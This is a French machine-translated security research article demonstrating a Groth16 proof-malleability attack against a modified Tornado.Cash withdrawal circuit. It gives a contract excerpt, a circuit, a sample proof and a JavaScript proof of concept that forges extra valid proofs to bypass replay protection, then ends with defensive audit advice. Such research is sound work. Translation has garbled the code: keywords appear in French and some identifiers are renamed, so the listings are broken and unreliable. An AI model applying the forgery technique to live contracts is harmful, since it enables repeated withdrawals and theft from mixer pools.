Une plongée approfondie dans Tornado.Cash révèle les attaques de malléabilité des projets zkp

金色财经_

Dans l’article précédent, nous avons expliqué les failles de malléabilité dans le système de preuve Groth16 lui-même du point de vue du principe. Dans cet article, nous allons prendre le projet Tornado.Cash comme exemple, modifier certains de ses circuits et codes, introduire l’attaque de malléabilité processus et j’espère que d’autres parties du projet zkp prêteront également attention aux mesures préventives correspondantes dans le projet. Parmi eux, Tornado.Cash utilise la bibliothèque snarkjs pour le développement, qui est également basée sur le processus de développement suivant, et sera présenté directement plus tard. Si vous n’êtes pas familier avec la bibliothèque, veuillez lire le premier article de cette série. (Beosin | Analyse approfondie de la vulnérabilité zk-SNARK à preuve de connaissance nulle : pourquoi le système de preuve à connaissance nulle n’est-il pas infaillible ?) ! [346a815b39293aee95668fb9b2049873] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-96823e64cc-dd1a6f-1c6801 “7076908”)

(Source:

1 Tornado.Cash Architecture

Le processus d’interaction de Tornado.Cash comprend principalement 4 entités : * Utilisateur : Utilisez cette DApp pour effectuer des transactions de confidentialité avec le mélangeur, y compris les dépôts et les retraits.

  • Page Web : la page Web frontale de la DApp, qui contient des boutons utilisateur.
  • Relayer : afin d’empêcher les nœuds de la chaîne d’enregistrer des informations telles que l’adresse IP qui a initié la transaction privée, le serveur rejoue la transaction à la place de l’utilisateur, ce qui améliore encore la confidentialité.
  • Contrat : Contient un contrat proxy Tornado.Cash Proxy, qui sélectionnera le pool Tornado spécifié pour les opérations de dépôt et de retrait ultérieures en fonction du montant des dépôts et retraits des utilisateurs. Il existe actuellement 4 pools avec des quantités de 0,1, 1, 10 et 100.

L’utilisateur effectue d’abord les opérations correspondantes sur la page Web frontale de Tornado.Cash pour déclencher une transaction de dépôt ou de retrait, puis le relais transmet la demande de transaction au contrat Tornado.Cash Proxy sur la chaîne, et la transmet au correspondant. Pool en fonction du montant de la transaction, et enfin Pour traiter les dépôts et les retraits, la structure spécifique est la suivante : ! [f471dfca152796f84a6389ff3a6d96ac] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-fa8e75c3b3-dd1a6f-1c6801 “7076909”) En tant que mélangeur de devises, Tornado.Cash a deux fonctions commerciales spécifiques : * dépôt : lorsqu’un utilisateur effectue une transaction de dépôt, il sélectionne d’abord le jeton déposé (BNB, ETH, etc.) et le montant correspondant sur la page Web frontale.Afin de mieux garantir la confidentialité de l’utilisateur, seuls quatre montants peuvent être déposés ;

! [fc9fe4cf9b1b8528e2446d23f39afc9a] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-22994b5b68-dd1a6f-1c6801 “7076910”)

Provenance : <

Ensuite, le serveur générera deux nombres aléatoires nullifier et secret de 31 octets, et après les avoir fusionnés, effectuera l’opération pedersenHash pour obtenir l’engagement et renverra le nullifier + secret plus le préfixe sous forme de note à l’utilisateur.La note est la suivante : ! [83feeca678c53c26a5cfe70f55d29f10] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-64aba8733a-dd1a6f-1c6801 “7076911”)* Ensuite, une transaction de dépôt est initiée pour envoyer l’engagement et d’autres données au Tornado.Cash Proxy contrat sur la chaîne, le contrat proxy transmet les données au pool correspondant en fonction du montant du dépôt, et enfin le contrat de pool insère l’engagement en tant que nœud feuille dans l’arborescence Merkle et stocke la racine calculée dans le contrat de pool.

  • retirer : lorsque l’utilisateur effectue une transaction de retrait, saisissez d’abord les données de la note et l’adresse de réception renvoyées lors de la saisie du dépôt sur la page Web frontale ;

! [49898b341e39bdbebd651b5d3918faef] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-54deb436c4-dd1a6f-1c6801 “7076912”)

Source de l’image : <* Ensuite, le serveur récupérera tous les événements de dépôt de Tornadocash sous la chaîne, extraira les engagements pour construire l’arbre Merkle sous la chaîne, et générera l’engagement et le Merkle correspondant en fonction des données de note (nullifier + secret) données par l’utilisateur Path et la racine correspondante sont utilisées comme entrée de circuit pour obtenir une preuve SNARK à connaissance nulle ; enfin, une transaction de retrait est initiée vers le contrat Tornado.Cash Proxy sur la chaîne, puis passe au contrat Pool correspondant pour vérifier la preuve selon les paramètres, et l’argent est crédité à l’adresse du destinataire indiquée par l’utilisateur.

Parmi eux, le noyau de retrait de Tornado.Cash est en fait de prouver qu’un certain engagement existe sur l’arbre Merkle sans exposer l’annulateur et le secret détenu par l’utilisateur. La structure spécifique de l’arbre Merkle est la suivante : ! [a56d827c9d275989d6948e23280123ce] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-2215203ef5-dd1a6f-1c6801 “7076913”)## 2 Tornado.Cash magic version modifiée

2.1 Tornade. Changement magique en espèces

Pour le premier article du principe d’attaque de ductilité de Groth16, nous savons que l’attaquant peut en fait générer plusieurs preuves différentes en utilisant le même nullificateur et le même secret. Si le développeur ne considère pas l’attaque à double dépense causée par la relecture de la preuve, cela menacera le financement du projet. . **Avant la modification magique de Tornado.Cash, cet article présente d’abord le code dans le Pool où Tornado.Cash gère enfin le retrait :

/** @dev Retirer un acompte du contrat. la preuve est une donnée de preuve zkSNARK, et l’entrée est un tableau d’entrées publiques du circuit le tableau d’entrée se compose de : - racine merkle de tous les dépôts dans le contrat - hachage de l’annulateur de dépôt unique pour éviter les doubles dépenses - le destinataire des fonds - frais facultatifs qui vont à l’expéditeur de la transaction (généralement un relais) */ function remove( bytes calldata _proof, bytes32 _root, bytes32 _nullifierHash, address payable _recipient, address payable _relayer, uint256 _fee, uint256 _refund ) external payable nonReentrant { require(_fee <= denomination, “Les frais dépassent la valeur de transfert”); require(!nullifierHashes[_nullifierHash], “La note a déjà été dépensée”); require(isKnownRoot(_root), “Impossible de trouver votre racine merkle”); // Assurez-vous d’en utiliser un récent require( verifier.verifyProof( _proof, [uint256(_root), uint256(_nullifierHash), uint256(_recipient), uint256(_relayer), _fee, _refund] ) , “Preuve de retrait invalide” ); nullifierHashes[_nullifierHash] = vrai ; _processWithdraw(_recipient, _relayer, _fee, _refund); émettre Retrait(_recipient, _nullifierHash, _relayer, _fee); }

Dans la figure ci-dessus, afin d’empêcher les attaquants d’utiliser la même preuve pour mener des attaques à double dépense sans exposer le nullifier et le secret, Tornado.Cash ajoute un signal public nullifierHash au circuit, qui est obtenu par hachage Pedersen du nullifier et peut être utilisé comme paramètre Passé à la chaîne, le contrat Pool utilise alors cette variable pour identifier si une preuve correcte a été utilisée. Cependant, si la partie projet n’utilise pas la méthode de modification du circuit, mais enregistre directement la méthode Proof pour éviter les doubles dépenses, après tout, cela peut réduire les contraintes du circuit et réduire les coûts, mais peut-il atteindre l’objectif ? Pour cette conjecture, cet article supprimera le signal public nullifierHash nouvellement ajouté dans le circuit et changera la vérification de contrat en vérification de preuve. Étant donné que Tornado.Cash obtient tous les événements de dépôt à chaque retrait, construit un arbre merkle et vérifie ensuite si la valeur racine générée se situe dans les 30 derniers, l’ensemble du processus est trop gênant, donc le circuit de cet article supprimera également le circuit merkleTree , Seul le circuit central de la partie de retrait est laissé, et le circuit spécifique est le suivant :

inclure “…/…/…/…/node_modules/circomlib/circuits/bitify.cicom” ; inclure “…/…/…/…/node_modules/circomlib/circuits/pedersen.cicom” ;// calcule Pedersen(nullifier + secret)template CommitmentHasher() { signal input nullifier ; secret d’entrée de signal ; engagement de sortie de signal ; // signal de sortie nullifierHash ; // supprime l’engagement du composantHasher = Pedersen(496); // composant nullifierHasher = Pedersen(248); composant nullifierBits = Num2Bits(248); composant secretBits = Num2Bits(248); nullifierBits.in <== nullifier; secretBits.in <== secret ; for ( je = 0; je < 248; je++) { // nullifierHasher.in [i] <== nullifierBits.out [i] ; // supprimer l’engagementHasher.in [i] <== nullifierBits.out [i] ; engagementHasher.in[i + 248] <== secretBits.out [i] ; } engagement <== engagementHasher.out [0] ; // nullifierHash <== nullifierHasher.out [0] ; // delete}// Vérifie que l’engagement qui correspond au secret et à l’annulateur donnés est inclus dans l’arbre Merkle de l’engagement de sortie du signal des dépôts ; récepteur d’entrée de signal ; // ne prenant part à aucun calcul relayeur d’entrée de signal ; // ne prenant part à aucun calcul des frais d’entrée du signal ; // ne prenant part à aucun calcul de remboursement d’entrée de signal ; // ne prenant part à aucun calcul nullificateur d’entrée de signal ; secret d’entrée de signal ; hacheur de composant = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== secret ; engagement <== hasher.commitment ; // Ajoutez des signaux cachés pour vous assurer que la falsification du destinataire ou des frais invalidera la preuve de snark // Ce n’est probablement pas nécessaire, mais il vaut mieux rester prudent et cela ne prend que 2 contraintes // Les carrés sont utilisés pour empêcher optimiseur de supprimer ces contraintes signal recipientSquare ; frais de signalSquare ; relais de signalCarré ; Remboursement du signalCarré ; recipientSquare <== destinataire * destinataire ; feeSquare <== frais * frais ; relayerSquare <== relais * relais; remboursementCarré <== remboursement * remboursement;}composant principal = Retrait(20);

Remarque : Nous avons découvert au cours de l’expérience que TornadoCash dans la dernière version du code de GitHub (le circuit de retrait n’a pas de signal de sortie et nécessite une correction manuelle pour fonctionner correctement. Selon le circuit modifié ci-dessus, utilisez la bibliothèque snarkjs, etc. pour suivre pas à pas le processus de développement donné au début de cet article, et générez la preuve normale suivante, qui est enregistrée comme preuve1 :

La preuve : { pi_a: [ 12731245758885665844440940942625335911548255472545721927606279036884288780352n, 11029567045033340566548367893304 052946457319632960669053932271922876268005970n, 1n ], pi_b: [ [ 442467028355646562219718754675409466783738316647961547451518218 3878046002081n, 8088104569927474555610665242983621221932062943927262293572649061565902268616n ], [ 9194248463115986940359811 988096155965376840166464829609545491502209803154186n, 183731390739816966551368706658003939861308764981288870910870600683698 11557306n ], [ 1n, 0n ] ], pi_c: [ 1626407734863381433630916916203225704171957179582436403191883565668143772631n, 1037520490212 5491773178253544576299821079735144068419595539416984653646546215n, 1n ], protocole : 'groth16 ', courbe : ‘bn128’}

2.2 Vérification expérimentale

2.2.1 Preuve de vérification—le contrat par défaut généré par circom

Tout d’abord, nous utilisons le contrat par défaut généré par Circom pour la vérification. Étant donné que le contrat n’enregistre aucune information liée à la preuve qui a été utilisée, l’attaquant peut rejouer proof1 plusieurs fois pour provoquer une attaque à double dépense. Dans les expériences suivantes, la preuve peut être rejouée à l’infini pour la même entrée du même circuit, et toutes peuvent passer la vérification. ! [caaf8474774d0ffaaea894961231e604] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-36bda9ebd9-dd1a6f-1c6801 “7076914”) L’image ci-dessous est une capture d’écran de l’expérience utilisant la preuve1 dans le contrat par défaut pour prouver que la vérification passé, y compris l’article précédent Paramètres de preuve A, B et C utilisés dans , et le résultat final :

! [8796de83786dab2e1d2fe8988a2a8c3c] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-1d87d37558-dd1a6f-1c6801 “7076915”)

La figure ci-dessous est le résultat de l’utilisation de la même preuve1 pour appeler la fonction verifyProof plusieurs fois pour la vérification de la preuve. L’expérience a révélé que pour la même entrée, quel que soit le nombre de fois que l’attaquant utilise la preuve1 pour la vérification, elle peut passer : ! [058bfa45cfac5803990db4cb707c737b] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-6f3b277d3a-dd1a6f-1c6801 “7076916”) Bien sûr, nous testons dans la bibliothèque de code natif js de snarkjs, et nous n’avons pas testé la preuve déjà utilisée qui a été acceptée pour la protection, les résultats expérimentaux sont les suivants : ## 2.2.2 Preuve de vérification - Contrat anti-rejeu ordinaire

Pour la vulnérabilité de relecture dans le contrat par défaut généré par Circom, cet article enregistre une valeur dans la preuve correcte (preuve1) qui a été utilisée pour empêcher les attaques de relecture à l’aide de la preuve vérifiée, comme illustré dans la figure suivante : ! [9afeb481747b16752a00b70c5562bac2] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-384e9b2889-dd1a6f-1c6801 “7076917”) Continuez à utiliser la preuve 1 pour la vérification. L’expérience a révélé que lors de l’utilisation de la même preuve pour la vérification secondaire, la transaction a été annulée Erreur : “Le billet a déjà été dépensé”, le résultat est comme indiqué dans la figure ci-dessous : ! [40293d602538a60400dffa795e0454dd] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-d09fb1e9c2-dd1a6f-1c6801 “7076918”) Mais Bien que l’objectif d’empêcher les attaques par relecture de preuve ordinaires ait été atteint à ce stade, le introduction précédente Il existe un problème de vulnérabilité de ductilité dans l’algorithme de groth16, et cette mesure préventive peut encore être contournée. Nous construisons donc le PoC dans la figure ci-dessous et générons un faux certificat zk-SNARK pour la même entrée selon l’algorithme du premier article.L’expérience a révélé qu’il peut toujours passer la vérification. Le code PoC pour générer la preuve falsifiée2 est le suivant :

importer WasmCurve depuis “/Users/saya/node_modules/ffjava/src/wasm_curve.js” importer ZqField depuis “/Users/saya/node_modules/ffjava/src/f1field.js” importer groth16FullProve depuis "/Users /saya/node_modules/snarkjs/src/groth16_fullprove.js"import groth16Verify from “/Users/saya/node_modules/snarkjs/src/groth16_verify.js”;import * as curves from “/Users /saya/node_modules/snarkjs/src/curves.js”;import fs from “fs”;import { utils } from “ffjava”;const {unstringifyBigInts} = utils;groth16_exp();async function groth16_exp (){ let inputA = “7” ; laissez inputB = “11” ; const SNARK_FIELD_SIZE = BigInt(‘21888242871839275222246405745257275088548364400416034343698204186575808495617’); // 2. 读取string后转化为int const proof = wait unstringifyBigInts(JSON.parse(fs.readFileSync(“proof.json”,“utf8”))); console.log(“La preuve :”,preuve); // 生成逆元,生成的逆元必须在F1域 const F = new ZqField(SNARK_FIELD_SIZE); // const F = nouveau F2Field(SNARK_FIELD_SIZE); const X = Fe(“123456”) const invX = F.inv(X) console.log(“x:” ,X ) console.log(“invX” ,invX) console.log(“The timesScalar is:”, F.mul(X,invX)) // 读取椭圆曲线G1、G2点 const vKey = JSON.parse(fs.readFileSync(“verification_key.json”,“utf8”)); // console.log(“La courbe est :”,vKey); courbe const = attendre courbes.getCurveFromName(vKey.curve); const G1 = courbe.G1 ; const G2 = courbe.G2 ; const A = G1.fromObject(preuve.pi_a); const B = G2.fromObject(preuve.pi_b); const C = G1.fromObject(preuve.pi_c); const new_pi_a = G1.timesScalar(A, X); //A’=x*A const new_pi_b = G2.timesScalar(B, invX); //B’=x^{-1}*B proof.pi_a = G1.toObject(G1.toAffine(A)); proof.new_pi_a = G1.toObject(G1.toAffine(new_pi_a)) proof.new_pi_b = G2.toObject(G2.toAffine(new_pi_b)) // 将生成的G1、G2点转化为proof console.log(“proof.pi_a:”,proof.pi_a); console.log(“proof.new_pi_a :”,proof.new_pi_a) console.log(“proof.new_pi_b :”,proof.new_pi_b)}

La preuve falsifiée proof2 générée est illustrée dans la figure ci-dessous : Lors de l’utilisation de ce paramètre pour appeler à nouveau la fonction verifyProof pour la vérification de la preuve, l’expérience a révélé que la vérification proof2 réussissait à nouveau dans le cas de la même entrée, comme indiqué ci-dessous : ! [03d0f119ea666620685b4cece791a789] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-4c49de3755-dd1a6f-1c6801 “7076919”) Bien que la preuve falsifiée2 ne puisse être utilisée qu’une fois de plus, en raison de la falsification Il y a un nombre presque infini de preuves, de sorte qu’il peut entraîner le retrait des fonds du contrat à l’infini. Cet article utilise également le code js de la librairie circom pour tester, et les résultats expérimentaux proof1 et fake proof2 peuvent passer la vérification : ! [9153431b50b81dcadbf68930ded584c3] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-934c4ab3e4-dd1a6f-1c6801 “7076920”)## 2.2.3 Preuve de vérification — Tornado.Cash replay contract

Après tant d’échecs, n’y a-t-il pas moyen de le faire une fois pour toutes ? Ici, selon la pratique de Tornado.Cash de vérifier si l’entrée d’origine a été utilisée, cet article continue à modifier le code du contrat comme suit : ! [28fabffcac9037a41e030db84f44f83b] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-dfa6f29d35-dd1a6f-1c6801 “7076921”) Il convient de noter que, afin de démontrer les mesures simples pour empêcher l’attaque malléable du algorithme groth16, *\ *Cet article adopte la méthode d’enregistrement direct de l’entrée du circuit d’origine, mais cela n’est pas conforme au principe de confidentialité de la preuve de connaissance zéro, et l’entrée du circuit doit rester confidentielle. **Par exemple, l’entrée dans Tornado.Cash est entièrement privée et une nouvelle entrée publique doit être ajoutée pour identifier une preuve. Dans cet article, puisqu’il n’y a pas de nouveau logo dans le circuit, la confidentialité est relativement faible par rapport à Tornado.Cash. Il n’est utilisé que comme démo expérimentale pour montrer les résultats comme suit : ! [ac4624fc066156979fae817e327c6224] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-440d87e977-dd1a6f-1c6801 “7076922”) On peut constater que la preuve utilisant la même entrée dans la figure ci-dessus ne peut réussir la preuve1 que pour la première fois, alors ni la preuve1 ni la fausse preuve2 ne peuvent passer la vérification. ## 3 Résumé et recommandations

Ce document vérifie principalement l’authenticité et les dommages de la vulnérabilité de relecture en modifiant le circuit de TornadoCash et en utilisant le contrat par défaut généré par Circom, qui est couramment utilisé par les développeurs, et vérifie en outre que les mesures courantes utilisées au niveau du contrat peuvent protéger contre la relecture. vulnérabilité, mais ne peut pas l’empêcher. L’attaque malléable de Groth16, à cet égard, nous recommandons que les projets à preuve de connaissance zéro prêtent attention aux éléments suivants lors du développement du projet : * Contrairement aux DApps traditionnels qui utilisent des données uniques telles que des adresses pour générer des données de nœud, zkp les projets utilisent généralement une combinaison de nombres aléatoires. Pour générer des nœuds d’arbre Merkle, vous devez faire attention à savoir si la logique métier permet d’insérer des nœuds avec la même valeur. **Parce que les mêmes données de nœud feuille peuvent entraîner le blocage de certains fonds d’utilisateurs dans le contrat, ou il existe plusieurs preuves Merkle dans les mêmes données de nœud feuille qui confondent la logique métier. **

  • La partie du projet zkp utilise généralement le mappage pour enregistrer la preuve utilisée afin d’éviter les attaques à double dépense. **Il convient de noter que lors du développement avec Groth16, en raison de l’existence d’attaques de ductilité, les données d’origine du nœud doivent être utilisées pour l’enregistrement, au lieu de la seule identification des données liées à la preuve. **
  • Les circuits complexes peuvent avoir des problèmes tels que l’incertitude du circuit et les sous-contraintes, les conditions de vérification des contrats sont incomplètes et il y a des failles dans la logique de mise en œuvre. ** Nous recommandons fortement que la partie du projet recherche des recherches sur les circuits et les contrats lorsque le projet est Les sociétés d’audit de sécurité effectuent des audits complets pour assurer autant que possible la sécurité du projet. **
Voir l'original
Avertissement : Les informations contenues dans cette page peuvent provenir de tiers et ne représentent pas les points de vue ou les opinions de Gate. Le contenu de cette page est fourni à titre de référence uniquement et ne constitue pas un conseil financier, d'investissement ou juridique. Gate ne garantit pas l'exactitude ou l'exhaustivité des informations et n'est pas responsable des pertes résultant de l'utilisation de ces informations. Les investissements en actifs virtuels comportent des risques élevés et sont soumis à une forte volatilité des prix. Vous pouvez perdre la totalité du capital investi. Veuillez comprendre pleinement les risques pertinents et prendre des décisions prudentes en fonction de votre propre situation financière et de votre tolérance au risque. Pour plus de détails, veuillez consulter l'avertissement.
Commentaire
0/400
Aucun commentaire